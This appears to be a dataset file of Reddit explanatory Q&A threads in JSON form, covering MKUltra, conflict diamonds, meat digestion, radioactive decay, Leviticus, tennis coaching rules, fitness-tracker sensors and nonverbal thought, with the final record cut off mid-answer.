{"q_id": "1doa8r", "title": "project mkultra", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1doa8r/eli5_project_mkultra/", "answers": {"a_id": ["c9s8ku6", "c9s9iqy", "c9sbv61", "c9sc0oz", "c9sghwu", "c9shece", "c9siswp"], "score": [7, 57, 2, 5, 4, 3, 2], "text": ["The government was testing the effects of LSD on people without telling the participants what they were really doing.", "In the 1950's the US government was really scared of communism. The newly-created CIA at that time was tasked with making sure their country stayed good and capitalist, while also researching ways to repel communism overseas.\n\nA lot of research was put into mind control (\"brainwashing\") to try and undertand a few things more fully, among them the possibility that someone could be turned into a double agent without knowing it. This idea was investigated as a way to both identify communists operating here in the US and also as a possible method to infiltrate the Soviet Union with homeland spies, people born and raised as soviets but secretly (and possibly unknowingly) working for the USA.\n\nThis program, namex MK Ultra, used a lot of questionable techniques as forms of \"research,\" including dosing unwilling subjects with hallucinogenic drugs, forcing them into unnatural and dangerous social settings to gauge their reactions, subjecting them to sensory deprivation and isolation, as well as things we now recognize as flat-out torture.\n\nSeeing as how the CIA was a new organization operating in secrecy, and that communism was seen as such a huge threat during the Red Scare, many of these programs and experiements went on unreported and unchecked for years. As the truth started coming to light in the 1970's the government tried to keep things quiet, both to save face and also to keep the progressive liberal movement from knowing just how far the government was willing to go in the name of national security.\n\nEdit: spellung", "In addition to the answers in this thread, there's a pretty awesome book called the \"Official CIA Manual of Trickery and Deception\". It's one of my favourite books, and the first part does talk about MKULTRA and other secret government projects against the USSR during the '50s and '60s.", "Theres also a conspiracy that goes along with MK Ultra, that the People's Temple lead by Jim Jones had a test site down in Guyana.  Guyana was a remote testing location, secretly headed by the CIA.  \n\nThough it mat seem far fetched, there are some oddities, like how they got so much Cyanide and other Drugs for Jones, Government employees who visited, and how fast the CIA acted after they heard of Jonestown's fall, and more.\n\nNot saying this is what happened, but some people do believe it.", "Others have given good answers as to what Project MKUltra was - basically government research into the possible military/espionage uses of drugs by the United States and her enemies (AKA The Soviet Union).\n\nI don't have anything to add to that. However, there were other research programs carried out by the US government into ideas such a this, and a reporter for the New Yorker recently wrote an extraordinary series of articles (and a few blog posts) about it. He interviewed some of the most prominent scientists involved, including the former head of the major research project, who kept most of the records of the project in his home and allowed full access to the reporter! This is one of the most interesting pieces of journalism that I have ever read, giving an in-depth look into why this research was carried out and what the motivations of the researchers were. \n\nThe big article is here:\n\n[_URL_2_](_URL_2_)\n\nOther pieces are here:\n\n[_URL_1_](_URL_1_)\n\n[_URL_0_](_URL_0_)\n\n[_URL_3_](_URL_3_)\n\n[_URL_4_](_URL_4_)\n\nI really suggest that you read these if you find this subject interesting.", "People tend to just see the individual experiments like psychological torture but it was also studying and applying propaganda and mass psychological techniques. How to control the masses, etc...", "A little further reading:\n\nMK Ultra, and a bunch of other dirty CIA operations were brought to light during the Church Committee hearings, which were a response to the Watergate scandal- and thus established the precedent of routine systematic oversight.\n\nAt one point during the hearings, the committee pulled out a very special piece of evidence which the CIA voluntarily submitted as part of the investigations. Senator Church and Tower sat there, staring at the CIA, holding a god-damn [CIA Heart Attack Handgun](_URL_0_). Seriously. Despite what mythbusters might say, the CIA successfully developed a handgun that fired needles of frozen poison that penetrate clothing and which mimics the symptoms of a heart attack. And the icing on the cake? It hardly leaves a trace.\n\nNow I see two ways of interpreting that:\n\n 1) The CIA was so fucking delusional that they figured their BEST ARGUMENT was to admit that they had terrifying technology but -due to their stellar discretion and wisdom- they decided NOT to use it. Sure, congress caught them with a nasty weapon but they were never going to actually use it.\n\n2) The CIA wanted congress to see it. It was an outright threat. Yeah, we can get away with murder- here's just one example. Don't fuck with us. Ever."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.newyorker.com/online/blogs/newsdesk/2012/12/us-army-experiments-with-lsd-in-the-cold-war.html", "http://www.newyorker.com/online/blogs/newsdesk/2012/12/primary-sources-operation-delirium.html", "http://www.newyorker.com/reporting/2012/12/17/121217fa_fact_khatchadourian", "http://www.newyorker.com/online/blogs/newsdesk/2012/12/video-war-of-the-mind.html", "http://www.newyorker.com/online/blogs/newsdesk/2012/12/video-manufacturing-madness.html"], [], ["http://www.youtube.com/watch?v=BSEnurBApdM"]]}
{"q_id": "b4xtb6", "title": "What\u2019s the story about conflict diamonds?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b4xtb6/whats_the_story_about_conflict_diamonds/", "answers": {"a_id": ["ejamr07"], "score": [8], "text": ["The story is that they are diamonds that, as the name implies, are mined in states undergoing civil conflict (or civil war), and the sale of those diamonds generates income for a military or militia group in order to continue their struggle. Very often, it is not milita members themselves who are doing the mining, but civilians in areas under rebel/milita control that are coerced into mining/panning for diamonds.\n\nMuch of the discussion around conflict diamonds focuses on conflicts on the continent of Africa. Famous cases include Jonas Savimbi's UNITA rebel movement in Angola, which relied on diamond proceeds to support their struggle in the 1990s until 2005. Another notorious example was the cooperation between the RUF rebels in Sierra Leone and Charles Taylor, warlord president of Liberia. Diamonds were mined in RUF-held territory in Sierra Leone, smuggled across the border in Liberia, and sold on the international market as diamonds from Liberia (despite Liberia having no known diamond deposits).\n\nThe reason for this seeming link between conflict diamonds and Africa is a matter of geology, of politics/security, and also has to do with the end of the cold war.\n\nIn terms of geology, diamonds are [distributed unevenly around the world](_URL_1_), with countries like Canada, Russia, India, Australia and Brazil having extensive deposits, as well as extensive deposits on the continent of Africa. Importantly, Africa is comparatively rich in [alluvial diamonds](_URL_0_), that is, diamonds that are located close to the surface in stream beds, and can thus be mined using only manpower, not requiring large capital investment in drilling or blasting equipment for deep sub-surface diamonds.\n\nSo, other regions where prolonged civil conflict has occurred, like Colombia, Sri Lanka, Lebanon, Afghanistan, tend not to have deposits of alluvial diamonds. Looking at that second map, it seems that Myanmar could be a country with both separatist rebels and alluvial diamonds; but I have not read anything specifically about Myanmar conflict diamonds.\n\nIn terms of the political-security history of the continent of Africa: the countries of the continent have faced a multitude of coups during the second half of the 20th century. The threat of removal from office by ambitious military officers probably led several African heads-of-state to limit the power of their militaries. For example, Mobutu Sese Seko took power in Zaire (now Democratic Republic of the Congo) in 1965, and mostly through government mismanagement and corruption, the Zairian army was so weakened that by 1978 they were not able to push back Angolan-supported rebels in the south of Zaire without support from Moroccan and French troops. By the early 1990s Zairian troops were regularly mutinying and protesting in the streets of Kinshasa demanding pay in arrears. By the time of the First Congo War in 1997 that toppled Mobutu, he was relying on Eastern European mercenaries to try and bolster his weakened national army. \n\nAs said, Mobutu was toppled, and incoming president Laurent Kabila soon turned against his Ugandan and Rwandan allies, starting a Second Congo War in 1998 which lasted until 2004. While Ugandan and Rwandan troops did participate in the war, those countries also relied extensively on anti-Kabila congolese militias. Both Kabila and anti-Kabila forces extracted diamonds to support their war effort.\n\nAnd of course, right about here is where I should mention that this phenomena goes beyond diamonds. Other resources can and have been used to support conflict. Conflict in the DRC notoriously also includes the mining and sale of Cobalt-tantalum (coltan), an important component in electronics. Charles Taylor made illicit deals for the sale of timber to support his rebel army and later his government in Liberia. Today, experts are raising concerns about the sale of conflict rubies and conflict sapphires in Myanmar. In the long Colombian civil war, marxist FARC rebels as well as anti-communist militias were involved in the manufacture of cocaine to fund their struggle.\n\n----\n\nThe salience of the end of the Cold War to conflict minerals.\n\nThe examples that I have given; Charles Taylor and Sierra Leone, DRC in the late 1990s, Jonas Savimbi, all of these examples happen after the end of the Cold War. \n\nDuring the cold war, there was a great deal of geopolitical competition between the United States, Soviet Union and China on the continent of Africa. Each of these three great powers would provide (i.e. donate) military materiel and training and sometimes funding for anti-government forces that were ideologically aligned with their interests. \n\nHowever, with the end of the cold war, a lot of that outside support dried up. So, if we return to the example of UNITA and Jonas Savimbi, from 1975-1991 the United States and South Africa supported him as an anti-communist warrior in his fight against the Soviet and Cuban supported MPLA regime in power. But, when the Soviet Union collapsed, the United States lost strategic interest in Angola. Similarly, with apartheid South Africa's transition to majority rule, aid from South Africa was no longer coming to UNITA. So, in the 1990s, UNITA began to rely on producing illicit diamonds to make up for the discontinuing of foreign aid, and to keep their armed struggle going.\n\nMore broadly, I think it is fair to say that this end in Eastern and Western support for rebel groups in Africa led leaders of these rebel or separatist movements to look more intensively into resource extraction to support their struggle.\n\nEdit- fix broken link"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.gia.edu/images/WN13_Shirey_fig4_v2.jpg", "http://www.diamcormining.com/_resources/images/diamond_info.world_production(op1\\)---Global-Archean-Cratons.jpg"]]}
{"q_id": "1h6u3q", "title": "what's going on with paula deen?", "selftext": "Why is everyone bailing on her all of a sudden?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1h6u3q/eli5_whats_going_on_with_paula_deen/", "answers": {"a_id": ["cardyd0"], "score": [6], "text": ["She admitted while under oath for a lawsuit (arguing racist actions) that she used racist words in the past.\n\nPeople don't like that, so companies are separating themselves from her in order to avoid being associated with stuff like that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "q7dig", "title": "Is it true that the human body is not designed to efficiently digest meat? ", "selftext": "I keep hearing about how meat rots in the body and causes all kinds of problems like gas, acidity, etc. Some people say it takes days to digest meat, others claim years, while some say that the body has no trouble dealing with meat and takes care of it in a few hours. Every answer on the internet seems to be based in agenda. I like to eat meat so I'm hoping to get the straight poop from you guys. Thanks. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/q7dig/is_it_true_that_the_human_body_is_not_designed_to/", "answers": {"a_id": ["c3vbjoe", "c3vbkjv", "c3vbpqu", "c3vbse2", "c3vcbhq", "c3vd3qn", "c3vdu9u", "c3ve2va", "c3ve4sv", "c3veivw", "c3vej26", "c3vekly", "c3vfi2n", "c3vhhkn", "c3vmpw8"], "score": [102, 61, 16, 12, 288, 13, 6, 13, 6, 2, 2, 12, 8, 11, 2], "text": ["Not true. We are omnivores. We aren't as efficient at digesting plants as a herbivore, nor as efficient at digesting meat as a carnivore. Evolutionarily, we traded efficiency for versatility. ", "What eosha said, but...\n\n >  Some people say it takes days to digest meat, others claim years,\n\nWhere do these people think their guts are stashing all this meat while it takes years to digest, exactly?", "Lets think about this. Early man did not have access to dairy, or soy. The only complete amino acid profile they had access to was animal meat.", "If by \"rot\" they mean, \"be digested\", then plants also \"rot\" in your gut. That's why whole food doesn't come out the back end.  ", "While humans are not my specialty per se, I can say with confidence humans have a digestive tract, jaw, and dentition that is consistent with omnivorous animals.\n\nExamples: we have a very small cecum: which is similar to carnivores. Herbivores, especially non-ruminants like horses, elephants and rabbits have a very enlarged cecum which is used for fermentation of plant material. We have sacculations (looks almost segmented into a series of pouches) on our colon, which is more characteristic of herbivores.\n\nWe have incisors and canine teeth with cusps for cutting and low molars with a grinding surface. This indicates a mixed diet. Carnivores have more pointed cheek teeth (molars/premolars) meant for shearing and omnivores don't have incisors that are as blade-like. Their canines are often small or absent.\n\nOur temporalis muscle is bigger than our masseter muscle, indicating that we do not do the sort of heavy grinding and chewing that herbivores, with their huge masseters, do. Our temporalis is not as comparatively powerful as that of carnivores who have a very powerful \"snap\" of the jaw.\n\nOur jaw allows freer side to side movement of our mandible than a carnivore, because the biting surface is a lower than the jaw's articulation (joint) with the skull. It is not as far removed in distance as in herbivores. Watch a cow chew and notice that its lower jaw has a lot of lateral movement.\n\nEDIT: And I'm a vegetarian, so I promise I have no ulterior motive to suggesting the naturalness of an omnivorous dietary pattern.", "These two guys only ate fatty meat for a year. They almost comprehensively had positive or neutral results with no digestive issues except for when eating nothing but low-fat meats. \n\n_URL_0_", "One extremely important aspect is cooking meat.\n\nBasically, by cooking meat, the cooking starts to break down the nutrients. It is much more cost effective to cook meat, as digesting it raw uses a lot more energy.\n\n_URL_2_\n\n_URL_1_\n\nThe importance of cooked meat is very important. It is said that meat is what allowed our brains to develop. Without it, we would still be apes.\n\n_URL_0_\n\nMeat also allows the body to grow a lot larger by having the extra protein available for muscle mass. Look at the size of meat-eating countries vs vegetable countries. In many asian countries, meat consumption is on the rise, and asians are much taller now. I read something to the effect that is especially notable in S. Korea (not North Korea.........). Oh, I remember. It was when the Olympics were happening in S. Korea. They had an article about that South Korean figure skater who was taller, and therefore could win, as the lines were much better. Also for swimming, height is crucial. They went on to say it was higher meat consumption.\n\n", "Let me take a look at my Medical Physiology notes that my professor wrote by hand and flip to the Gastrointestinal section. First, it should be noted that the human body would also need to be efficient in ABSORBING as well as digesting the meat (protein) you eat. Chewing has already been discussed, so the next stop for meat/protein is the stomach. Your stomach's main function is the secretion of Intrinsic Factor for the absorption of Vit. B12, but in terms of digestion, it mainly is important for meat and proteins. The stomach secretes pepsinogen, which gets activated by the stomach's acidity to pepsin, which is a proteolytic enzyme (lyses proteins). It also secretes gelatinase which takes care of proteoglycans in meat. That seems detailed enough for the stomach!\n\nNext, in the duodenum, more protein digestion occurs as the pancreas dumps more proteolytic enzymes, such as trypsin, chymotrypsin, carboxypeptidase, elastase and nuclease. The broken down peptides can be further broken down by peptidases and absorbed in the enterocytes of the small intestine, then further into the blood.\n\nSo, I would say our body doesn't have trouble dealing with meat in general! :)", "I'm an x-ray tech and have done tons of upper GI and barium enema studies.  Speaking just about the GI tract, people who had the more balanced diet of meat to veg were the ones getting studies mainly for hereditary screening more so than actual symptoms.  Patients who had mostly meaty or entirely vegetarian diets had the most issues.  Eating lots of fat and processed foods and also super high fiber diets causes a lot of gas.  Very high fiber can cause bowel obstructions.", "Meat digests very easily, far more easily than a general vegetarian diet. This is why pure carnivores are able to get away with very small intestines, while pure herbivores generally have a particularly long intestine. Humans take a middle route.\n\nThis is both good and bad, depending on what you value in your food. It's also why vegetarians tend to be skinnier than omnivorous people.\n\nI'm overly simplifying, and others wrote more (essentialparadoxes is a particularly good post), but I thought this part was missing in other's explanations. ", "Well, on a related note, can iron and protein found in meat be replaced by other sources that contain iron and protein? ie. A big part of the argument against eating meat is that you can get all the good stuff (protein, vitamins, etc.) without the bad stuff (saturated fat, choleserol, etc.) from plants/nuts/grains. On the other side of that, I hear that though you may be able to get the same amount of protein, it's not the same *kind* of protein. Is this a valid claim? Is there a difference?\n\nSorry if this should go in another thread or it sounds repetitive; I'm sleepy.", "Archaeology major here. While I may not know the specifics in regards to how efficiently it is broken down modern humans are most definitely designed to consume meat. \n\nIt's theorised that early proto-humans while omnivorous generalist forgers likely subsided on a diet that was mostly comprised of lots of un-nutritious vegetarian ruffage as well as fruit much like modern day Gorillas and Chimps. \n\nHowever the development of the modern brain was very taxing when it came to energy consumption and carbs. It required a lots of energy wasted digesting in the gut. Switching to the protien, carbs and vitamin rich diet heavily comprised of meat allowed us to spend more energy on developing our brains and less on digestion.\n\nFirst post on reddit so hope I'm not breaking the post guidelines on this sub. Also just grabbed one of the first google hits for reference.\n_URL_0_", "The human body is very well adapted for processing meat. When meat(especially fatty meat) is in our stomach it causes the release of additional acid. From there it passes into the duodenum. The high acid lvls trigger the release of pancreatic juices and bile salts which further break down the meat on Its way through the small intestine. During this segment of its journey many of the fat molcules are absorbed via pathways called lacteals directly into the bloodstream. Everything else of use is absorbed through the intestinal wall and distributed to other organs(usually the liver) for further processing. At this point the sludge that was once meat jumps through the ileocecal valve into the large intestine. While in the large intestine most of the water is re-absorbed into the body. Then it enters your rectum and the meat you ate approximately one to two days prior(not months or years) comes out as poop. In summation, yes virginia there is a santa claus and he eats meat (as well as fruits and vegetables as part of a balanced diet. ", "HUMANS ARE NOT DESIGNED.", "There seems to be more than enough evidence provided by users showing the human body is as capable of digesting meat as any other food. \n\nAt the risk of having my post removed for being speculative, I think the better question would be, \"Is eating meat beneficial for the human body?\"\n\nI recently watched a documentary called *Forks Over Knives* that advocated a whole foods, plant-based diet. It linked the increasing consumption of meat and dairy products to the rise of degenerative diseases. While not necessarily a well-made documentary, it was still very informative. \n\nIf anyone could share any data on the subject, it would be much appreciated. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://inhumanexperiment.blogspot.com/2009/09/two-brave-men-who-ate-nothing-but-meat.html"], ["http://www.google.com/search?q=cooking+meat+digestion&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a#hl=en&amp;newwindow=1&amp;safe=off&amp;client=firefox-a&amp;rls=org.mozilla:en-US%3Aofficial&amp;sclient=psy-ab&amp;q=meat+brain+evolution&amp;psj=1&amp;oq=meat+brain+&amp;aq=1&amp;aqi=g3g-v5g-sv1g-v1&amp;aql=&amp;gs_sm=3&amp;gs_upl=46480l49240l2l53510l10l6l0l0l0l0l1867l3531l3-2.2.8-1l5l0&amp;bav=on.2,or.r_gc.r_pw.r_qf.,cf.osb&amp;fp=232dd482f38522b3&amp;biw=1608&amp;bih=817", "http://news.discovery.com/human/cooking-meats-ancestors-.html", "http://users.dickinson.edu/~bobacks/pdfs/Boback%20et%20al.,%202007%20Cooking%20decreases%20metabolic%20load.pdf"], [], [], [], [], ["http://news.nationalgeographic.com/news/2005/02/0218_050218_human_diet.html"], [], [], []]}
{"q_id": "rgj9j", "title": "If we could create a cubic meter of an unstable element with a half life of, let's say, 10 seconds, how would it look like if we watched it? Would it get smaller and smaller, then disappear?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rgj9j/if_we_could_create_a_cubic_meter_of_an_unstable/", "answers": {"a_id": ["c45n41f", "c45nehi"], "score": [12, 12], "text": ["Let's put something real to this example. We'll choose Carbon-11. \n\nCarbon-11 is a radioactive isotope with a half life of 20 minutes. It decays by positron emission - that is, a proton is converted to a neutron and a positron is ejected from the nucleus. This converts the Carbon-11 to a much more stable Boron-11. So, if you sat and watched a 100 gram pile of Carbon-11 for roughly 5.5 hours, you would be left with only 0.001 grams of Carbon-11\n\nIt wouldn't \"disappear\", though. It is just converted to a different, more stable element. \n\n\n", "If we disregard the energy released during decay, then it depends on what the original and final atoms are.  If both exist in the solid phase at standard conditions, you wouldn't notice much.  If the product existed in the gaseous phase (like radon), then you would likely observe the original sample convert to a gas.\n\nHowever, *realistically*, a cubic meter of something decaying that fast is going to release an enormous amount of energy.  With a half life of 10 seconds, roughly 7% of the atoms present are decaying every second.  If we consider a [cubic meter of carbon 14](_URL_0_) (10^29 ) which emits 0.156 MeV per decay, at that decay rate your block would be putting out 2.5 x 10^15 watts (or roughly 400 times total human power consumption)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.wolframalpha.com/input/?i=number+of+atoms+in+a+cubic+meter+of+carbon"]]}
{"q_id": "1dzfj3", "title": "leviticus in the bible", "selftext": "What is its context? Why is it so harsh? Does it apply to modern day followers?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1dzfj3/eli5_leviticus_in_the_bible/", "answers": {"a_id": ["c9vbtom", "c9vcj95", "c9vcte2"], "score": [6, 4, 2], "text": ["Well from what I can recall from my old high school religion teacher, Leviticus is basically 'the rule book' of the Old Testaments. It sets out the guidelines and the practices that all good Jews/Christians should follow in the belief that adherence to these principles will allow harmony to exist with God.\n\nThey're harsh because you have to remember these were written thousands of years ago where tribal-based societies were predominate. Keeping control over your population was important, especially given the difficulties in day-to-day life. Make it harsh to act as a deterrent against disobedience.\n\nAs for whether it applies today...well, like everything else in holy scriptures, it's mostly up to the individual. The Vatican has nulled some things like the dietary laws (hence why Christians don't eat Kosher) and you're not going to find anybody giving you grief over wearing a garment made up of two types of fabric. But you'll find plenty of people who still use it as a 'proof' that homosexuality is against God's will.", "Those laws were issued to the Jewish people of that time as part of God's covenant with Israel. Relative to the surrounding cultures of the time, they were actually, believe it or not, very lenient. But they were harsh relative to today's standards for several reasons: 1) to set God's people apart from the rest of the world 2) to prepare God's people for the coming messiah and 3) to assure the conditions necessary for God's plan of salvation. Basically, it was serious business, and the law reflected that. \n\nThe laws that were part of that covenant are not applicable to any culture alive today. With the advent of Jesus, a new covenant was established and the law of Moses was fulfilled.\n\nDisclaimer: I'm speaking from a Christian perspective, modern Jews will see it differently as they don't believe the messiah has yet come to fulfill the law. ", "I'd strongly suggest you pose this question in r/Christianity. Great community that would take a genuine interest in explaining this in a context of religion,  secular history and culture."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9ei6fd", "title": "in light of the williams/osaka match, can anyone explain why coaches are forbidden from coaching their players during a tennis match?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ei6fd/eli5_in_light_of_the_williamsosaka_match_can/", "answers": {"a_id": ["e5p52ly", "e5pcjtd", "e5pdrt3"], "score": [44, 3, 4], "text": ["Well, it's in the rules.  Section L in \"Article III -- Player On-Site Offense\" in the Grand Slam Rulebook, begins: \"Players shall not receive coaching during a match (including the warm-up). Communications of any kind, audible or visible, between a player and a coach may be construed as coaching.\"\n\nTennis is an individual sport, where rugged individuals duke it our mano-a-mano on Centre Court.  They have had this rule for a very long time, and they punish cheaters.\n\nIs it a good idea?  Sorry, I've got nothing for you in that dimension.", "As far as I know this is not an abnormal rule and exists within the golfer/caddy relationship, too. ", "Aren't most rules in sports just because? Why is the net 3.5' tall? Why are the balls the size they are? Why do you have to hit the serve into the box? The point of the rules is mostly to have them and have them apply even restrictions so that you can say \"based on this set of limitations, this person achieved victory as defined by the rules.\" Otherwise you get Calvinball."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "b1bdky", "title": "why do fitness trackers and smart watches need the green lights/lasers to operate, and why are they always green?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b1bdky/eli5_why_do_fitness_trackers_and_smart_watches/", "answers": {"a_id": ["eikniwj", "eikqr2i"], "score": [26, 2], "text": ["They seem to be using a technology called Photoplethysmography (PPG) where green (and sometimes infrared) light is flashed onto the skin and sensors measure the return amount.\n\n & #x200B;\n\nBlood is red (duh) and it absorbs green light. During a heartbeat, there is more blood flow, than in between heartbeats. \n\n & #x200B;\n\nMore green light returned (no heartbeat)  \nLess green light returned (heart just beat)  \n\n\nDo that over a few seconds and you get a pulsrate.  \nAnd the light used is green, because it seems to give the best (most accurate) results compared to red or blue\n\n & #x200B;", "They need some sort of optical system for tracking heart rate, which is a common feature in those kind of devices. Higher heart rate = body's working harder at something = more calories being burned = useful data for tracking fitness.\n\nGreen is used because of how nicely it plays with all colors of human skintypes when it comes to penetrating skin and being absorbed by blood, to make it easier to check bloodflow and thus deduce heartbeats. You can download a myriad of apps that will do this with your phone's flashlight+camera, so any bright light source will do really, but the green ones are quite bright at low power."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "jyvtu", "title": "What differentiates verbal and nonverbal thought?", "selftext": "I am doing a Wiki marathon for information, but as of now I have minimal understanding of the subject.\n\n* What exactly is a nonverbal thought? \n* Is it strictly a picture that is not interpreted linguistically at all? \n* If so, how the hell is it understood?\n\nI think verbally, with internal monologue, and as I understand it so does the majority of the population. I suppose this is why I don't grasp the concept very well.\n\n* Does one necessarily have to think completely in one manner?\n\nFor instance, I often picture a problem or situation with no issue, and I find it much more enjoyable than my usual thought process. However, I have to make an effort to do so and it is not intuitive. I don't feel like language comes into play when I do this, though maybe I just notice less than when I think in my natural manner. \n\n* In this case would I be thinking nonverbally or is my mind tricking me into thinking I am?\n\nAdditionally, \n\n* From what areas and parts of the brain do the two manners of thinking arise?\n* Are there consequences for thinking one way or the other? (e.g. nonverbal thinkers excel in spatial reasoning, verbal thinkers fair well with language).\n\nI know the examples seem to be axiomatic; I even remember hearing that dyslexics think nonverbally, which shows such a connection, but I would like clarification.\n\n* If there is a connection (and I assume there must be), is it so strong that a verbal thinker can't excel in the same areas as a nonverbal thinker, and vice versa?\n\nI know there are many questions, many of which I could come across on my own over time, so feel free to pick and choose what to answer. I apologize for any ignorance or mistakes and I thank you. Keep on being awesome and helping people (especially younger folks like me) pursue knowledge. You guys (and gals since I know some take that the wrong way) rock!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jyvtu/what_differentiates_verbal_and_nonverbal_thought/", "answers": {"a_id": ["c2g8rnn", "c2g9q58", "c2g9usy", "c2ga0tg", "c2garpn", "c2gay38", "c2gbafu", "c2g8rnn", "c2g9q58", "c2g9usy", "c2ga0tg", "c2garpn", "c2gay38", "c2gbafu"], "score": [2, 9, 2, 10, 6, 11, 7, 2, 9, 2, 10, 6, 11, 7], "text": ["Intuition. To my understanding, non-verbal thoughts are the vague brain processes, subtle feelings, that direct us towards a reaction to something. Have you ever read something and thought the other person just said what you've been thinking all along but couldn't find the words for? I guess they could be visual metaphors as well. Ever looked at a bizarre artwork and felt an affinity with it? Sometimes vague graphs and images appear in my mind as I'm trying to sort out confused thoughts. ", "I often solve problems in programming non-verbally. I don't really even know how to describe what it feels like, but ideas and concepts just sort of... *snap* together, and nary a mental word is spoken.", "Many highly functioning autistics think nonverbally. See [Thinking the Way Animals Do](_URL_0_) by Temple Grandin.\n\nIt's possible to switch your verbal thinking off using the following trick: talk non stop gibberish non stop for 20-25 minutes. Don't think what you say just spit out syllables in non stop flow. After you stop, your verbal thinking is off for some time. I don't know what is the exact mechanism but it works (confusing speech center?). You can enjoy maybe 5 minutes of inner silence. You can still do stuff and even speak and read but you don't' have verbal toughs. ", "I will probably get downvoted for this, but I felt like I should contribute something:\n\nI don't know a hell of a lot about the subject, but I do know that nonverbal reading is how people can speed-read.  If you practice, you can get to the point where you can just look at words and understand them without saying them in your head.  This is the same thing as nonverbal thinking.  I can think a hell of a lot faster if I don't think of every single word.  It's almost like the concept comes to me, and then I have to stop myself from saying it in my head because I already know what it is.  To make an analogy, it's like receiving a zip file on your computer and being able to open the files within it without unzipping the zip.  It's just much faster when you don't think of every single word, but of the sentence as a whole.", "Verbal thought involves your phonological loop and speech centers (we've identified some regions and their roles in speech processing, but there is still much that we do not know), nonverbal thought is basically all the other thoughts that you're consciously aware of. The phonological loop is at the center of it. It's the part of the working memory system that lets you keep all the words of your inner monologue in your head (as in, you don't forget them immediately after thinking them) and allows you to repeat stuff to yourself. ", "In cognitive science, there is a debate over a dual-process theory of mind  and thought. It distinguishes between system one and system two.\n\nSystem one: fast, intuitive, unconscious thought that is tied in with the emotions. This is the heuristics  &  biases kind of stuff, and also gut feelings.\n\nSystem two: slow, analytic, conscious reasoning. This is the deliberate application of logic.\n\nThe verbal/non-verbal distinction could be understood in terms of this dual-process model. Non-verbal thoughts are the long-evolved intuitive processes, the results of mental rules-of-thumb that are in system one. Verbal thoughts are those which we can keep in our phonological loop - which means conscious access and the ability to state the thoughts, and those are characteristic of rational system two processes.\n\nFor more readings on this, you can look up [Judgement Under Uncertainty](_URL_0_), [Simple Heuristics That Make Us Smart](_URL_1_), or for a book directed at the lay public, [The Robot's Rebellion](_URL_2_).", "I can skim some of these and elaborate where necessary. \n\n**What is a nonverbal thought / how is it understood**\n\nIt depends how you characterize a \"thought\". In terms of cognitive processes, there a lot of different things you can do within the realm of thinking. You can manipulate an idea. You can perceive something. You can remember something. You can be aware of something. A lot of the cognition that happens doesn't involve language.\n\nThink about navigating your house. Or dodging a falling object. Getting dressed in the morning. Walking. Feeling an emotion. Perceiving a stimulus for which words don't apply. All of these require some sort of \"thinking\" without the use of language. \n\nOf course at some point you may chose to use language - \"where did I put my keys?\" while navigating your house, but as you're running to answer the door you're not thinking \"left turn, 3 steps, right turn, passed the coffee table, rectangular object approximately ___ cm tall\".\n\n**How is it understood?** The same way language is understood - relative to everything else it can be relative to. How does a baby understand that one face belongs to it's mother, the other to a stranger? Without the use of language labels. The mother's face activates particular patterns of firing that understand particular spatial arrangements and patterns and these in turn activate neurons associated with warmth, love, and affection. \n\nSomething interesting to look up - [Grandmother Cells](_URL_1_). The idea that you have a particular cell, or cluster of cells, associated with certain particular objects. The idea fell out of favour for some time until recently it was discovered that we may have \"Halle Berry cells and Jennifer Aniston cells\".\n\nNote this is in contrast to what I think is a more accurate depiction - the neural network theory which essentially states the output or understanding you become aware of is a function of a unique firing patterns of a complex neural network which responds uniquely to different stimuli.\n\nIn terms of understanding visual stimuli, we currently think about it in terms of two \"streams\" of perception, each localized to a different area of the brain. [Two-Stream Hypothesis](_URL_0_). The dorsal is generally the \"where\" stream that helps perceive either how something is oriented in space and/or how you might grasp at it should you decide to. The ventral or \"what\" stream is more linked with object identification and your limbic system, which is involved in emotional interpretation. So if you lost your ventral stream you would not be able to identify an object but you could grasp it. \n\nNote this is an approximation and brain areas that are initially thought to be localized almost always end up being quite diffuse -  language being the major example of that.", "Intuition. To my understanding, non-verbal thoughts are the vague brain processes, subtle feelings, that direct us towards a reaction to something. Have you ever read something and thought the other person just said what you've been thinking all along but couldn't find the words for? I guess they could be visual metaphors as well. Ever looked at a bizarre artwork and felt an affinity with it? Sometimes vague graphs and images appear in my mind as I'm trying to sort out confused thoughts. ", "I often solve problems in programming non-verbally. I don't really even know how to describe what it feels like, but ideas and concepts just sort of... *snap* together, and nary a mental word is spoken.", "Many highly functioning autistics think nonverbally. See [Thinking the Way Animals Do](_URL_0_) by Temple Grandin.\n\nIt's possible to switch your verbal thinking off using the following trick: talk non stop gibberish non stop for 20-25 minutes. Don't think what you say just spit out syllables in non stop flow. After you stop, your verbal thinking is off for some time. I don't know what is the exact mechanism but it works (confusing speech center?). You can enjoy maybe 5 minutes of inner silence. You can still do stuff and even speak and read but you don't' have verbal toughs. ", "I will probably get downvoted for this, but I felt like I should contribute something:\n\nI don't know a hell of a lot about the subject, but I do know that nonverbal reading is how people can speed-read.  If you practice, you can get to the point where you can just look at words and understand them without saying them in your head.  This is the same thing as nonverbal thinking.  I can think a hell 